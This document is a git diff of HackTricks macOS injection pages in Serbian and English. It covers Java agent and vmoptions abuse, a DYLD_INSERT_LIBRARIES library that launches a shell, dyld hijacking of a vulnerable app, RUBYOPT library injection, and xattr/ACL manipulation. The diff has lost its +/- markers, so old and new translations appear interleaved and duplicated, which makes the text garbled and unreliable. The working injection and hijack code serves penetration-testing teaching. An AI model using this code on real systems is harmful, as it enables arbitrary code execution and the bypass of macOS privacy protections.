Can-Redefine-Classes: true
Can-Retransform-Classes: true
```
A zatim izvezite env varijablu i pokrenite Java aplikaciju na sledeći način:
I zatim eksportujte env varijablu i pokrenite java aplikaciju kao:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
@ -140,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
## vmoptions fajl
## vmoptions datoteka
Ovaj fajl podržava specifikaciju **Java parametara** prilikom izvršavanja Java programa. Možete koristiti neke od prethodnih trikova da promenite Java parametre i **izvršite proizvoljne komande** u procesu.\
Osim toga, ovaj fajl može **uključivati druge fajlove** iz `include` direktorijuma, tako da možete promeniti i uključeni fajl.
Ova datoteka podržava specifikaciju **Java parametara** kada se Java izvršava. Možete koristiti neke od prethodnih trikova da promenite java parametre i **naterate proces da izvrši proizvoljne komande**.\
Štaviše, ova datoteka može takođe **uključivati druge** sa `include` direktorijumom, tako da možete promeniti i uključenu datoteku.
Dodatno, neke Java aplikacije će **učitati više od jednog `vmoptions`** fajla.
Još više, neke Java aplikacije će **učitati više od jedne `vmoptions`** datoteke.
Neki programi kao što je Android Studio će u svom **izlazu naznačiti gde traže** ove fajlove, na primer:
Neke aplikacije poput Android Studija ukazuju u svom **izlazu gde traže** ove datoteke, kao:
```bash
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
@ -158,7 +159,7 @@ Neki programi kao što je Android Studio će u svom **izlazu naznačiti gde tra
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
```
Ako to nije slučaj, lako možete provjeriti to sa:
Ako to ne urade, možete lako proveriti pomoću:
```bash
# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
@ -166,18 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio
```
Primetite kako je interesantno da Android Studio u ovom primeru pokušava da učita datoteku **`/Applications/Android Studio.app.vmoptions`**, mesto gde svaki korisnik iz **`admin` grupe ima pristup za pisanje**.
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
Napomena koliko je zanimljivo da Android Studio u ovom primeru pokušava da učita datoteku **`/Applications/Android Studio.app.vmoptions`**, mesto gde svaki korisnik iz **`admin` grupe ima pristup za pisanje.**

View file

@ -1,22 +1,23 @@
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## DYLD\_INSERT\_LIBRARIES Osnovni primer
**Biblioteka za ubacivanje** za izvršavanje shell-a:
**Biblioteka za injekciju** za izvršavanje shelle:
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Binarni fajl za napad:
Бинарни фајл за напад:
```c
// gcc hello.c -o hello
#include <stdio.h>
@ -45,16 +46,16 @@ printf("Hello, World!\n");
return 0;
}
```
Umetanje:
Injection:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Primer Dyld preusmeravanja
## Dyld Hijacking Example
Ciljani ranjivi binarni fajl je `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
{% tabs %}
{% tab title="ovlašćenja" %}
{% tab title="entitlements" %}
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>
@ -91,7 +92,7 @@ compatibility version 1.0.0
{% endtab %}
{% endtabs %}
Sa prethodnim informacijama znamo da **ne proverava potpis učitanih biblioteka** i **pokušava da učita biblioteku iz**:
Sa prethodnim informacijama znamo da **ne proverava potpis učitanih biblioteka** i da **pokušava da učita biblioteku iz**:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
@ -104,7 +105,7 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
Dakle, moguće je preuzeti kontrolu! Kreirajte biblioteku koja **izvršava proizvoljan kod i izvozi iste funkcionalnosti** kao legitimna biblioteka ponovnim izvozom. I zapamtite da je kompajlirate sa očekivanim verzijama:
Dakle, moguće je preuzeti kontrolu! Kreirajte biblioteku koja **izvršava neki proizvoljni kod i izvozi iste funkcionalnosti** kao legitimna biblioteka ponovnim izvoženjem. I zapamtite da je kompajlirate sa očekivanim verzijama:
{% code title="lib.m" %}
```objectivec
@ -117,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
```
{% endcode %}
Kompajlirajte ga:
Kompajlirajte to:
{% code overflow="wrap" %}
```bash
@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
```
{% endcode %}
Putanja reizvoza koju je kreirala biblioteka je relativna u odnosu na učitavač, promenimo je u apsolutnu putanju do biblioteke za izvoz:
Putanja za ponovni izvoz kreirana u biblioteci je relativna prema učitaču, hajde da je promenimo u apsolutnu putanju do biblioteke za izvoz:
{% code overflow="wrap" %}
```bash
@ -147,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
```
{% endcode %}
Konačno samo kopirajte na **preuzetu lokaciju**:
Na kraju, jednostavno ga kopirajte na **otetu lokaciju**:
{% code overflow="wrap" %}
```bash
@ -155,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
I **izvršite** binarnu datoteku i proverite da li je **biblioteka učitana**:
I **izvršite** binarni fajl i proverite da li je **biblioteka učitana**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...]
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib je preuzet u /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Upotreba: [...]
</code></pre>
{% hint style="info" %}
Lepo objašnjenje kako iskoristiti ovu ranjivost da bi se zloupotrebila dozvola kamere u Telegramu može se pronaći na [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
Lep članak o tome kako iskoristiti ovu ranjivost za zloupotrebu dozvola kamere Telegram-a može se naći na [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
{% endhint %}
## Veći obim
## Veća Skala
Ako planirate da pokušate da ubacite biblioteke u neočekivane binarne datoteke, možete proveriti poruke događaja da biste saznali kada je biblioteka učitana unutar procesa (u ovom slučaju uklonite printf i izvršenje `/bin/bash`).
Ako planirate da pokušate da injektujete biblioteke u neočekivane binarne fajlove, možete proveriti poruke događaja da biste saznali kada se biblioteka učitava unutar procesa (u ovom slučaju uklonite printf i izvršavanje `/bin/bash`).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# macOS Ubacivanje u Ruby aplikacije
# macOS Ruby Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## RUBYOPT
Korišćenjem ove okružne promenljive moguće je **dodati nove parametre** u **ruby** kada god se izvršava. Iako parametar **`-e`** ne može se koristiti za specificiranje ruby koda za izvršavanje, moguće je koristiti parametre **`-I`** i **`-r`** da se doda nova fascikla u putanju za učitavanje biblioteka, a zatim **specificirati biblioteku za učitavanje**.
Korišćenjem ove env promenljive moguće je **dodati nove parametre** u **ruby** svaki put kada se izvrši. Iako parametar **`-e`** ne može biti korišćen za specificiranje ruby koda za izvršavanje, moguće je koristiti parametre **`-I`** i **`-r`** da se doda nova fascikla u putanju za učitavanje biblioteka i zatim **specificirati biblioteku za učitavanje**.
Kreirajte biblioteku **`inject.rb`** u **`/tmp`**:
@ -26,7 +27,7 @@ puts `whoami`
```
{% endcode %}
Napravite bilo gde Ruby skriptu kao:
Kreirajte bilo gde Ruby skriptu kao:
{% code title="hello.rb" %}
```ruby
@ -34,24 +35,25 @@ puts 'Hello, World!'
```
{% endcode %}
Zatim napravite proizvoljni Ruby skript i učitajte ga sa:
Zatim napravite proizvoljan ruby skript koji ga učitava sa:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb
```
Zanimljiva činjenica, radi čak i sa parametrom **`--disable-rubyopt`**:
Fun fact, to radi čak i sa param **`--disable-rubyopt`**:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,27 +1,33 @@
# macOS xattr-acls extra stuff
# macOS xattr-acls dodatne stvari
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
{% endhint %}
```bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
./get_acls test
ACL for test:
!#acl 1
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
````
```
<details>
<summary>Kod funkcije get_acls</summary>
<summary>Код за get_acls</summary>
```c
// gcc -o get_acls get_acls
#include <stdio.h>
@ -61,47 +67,103 @@ acl_free(acl);
acl_free(acl_text);
return 0;
}
````
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
```
</details>
```bash
# Lets add the xattr com.apple.xxx.xxxx with the acls
mkdir start
mkdir start/protected
./set_xattr start/protected
echo something > start/protected/something
```
<details>
<summary>Kod funkcije set_xattr</summary>
<summary>Код set_xattr</summary>
```c
// gcc -o set_xattr set_xattr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/xattr.h>
#include <sys/acl.h>
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
void print_xattrs(const char *filepath) {
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
return;
}
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
char *buf = malloc(buflen);
if (buf == NULL) {
perror("malloc");
return;
}
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
free(buf);
return;
}
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
printf("All current extended attributes for %s:\n", filepath);
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
printf("%s: ", name);
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
continue;
}
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
char *value = malloc(valuelen + 1);
if (value == NULL) {
perror("malloc");
continue;
}
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
free(value);
continue;
}
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
value[valuelen] = '\0'; // Null-terminate the value
printf("%s\n", value);
free(value);
}
free(buf); }
free(buf);
}
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
return 1;
}
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
const char *filepath = argv[1];
print\_xattrs(filepath);
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
if (result == 0) {
printf("Extended attribute set successfully.\n\n");
} else {
perror("setxattr");
return 1;
}
return 0; }
print_xattrs(filepath);
````
return 0;
}
```
</details>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
{% code overflow="wrap" %}
```bash
# Create appledoublefile with the xattr entitlement
ditto -c -k start protected.zip
@ -115,10 +177,24 @@ rm -rf protected.zip
zip -r protected.zip protected ._protected
rm -rf protected
rm ._*
````
```
{% endcode %}
```bash
# Check if it worked
ditto -x -k --rsrc protected.zip .
xattr -l protected
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# macOS Pesak
# macOS Sandbox
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
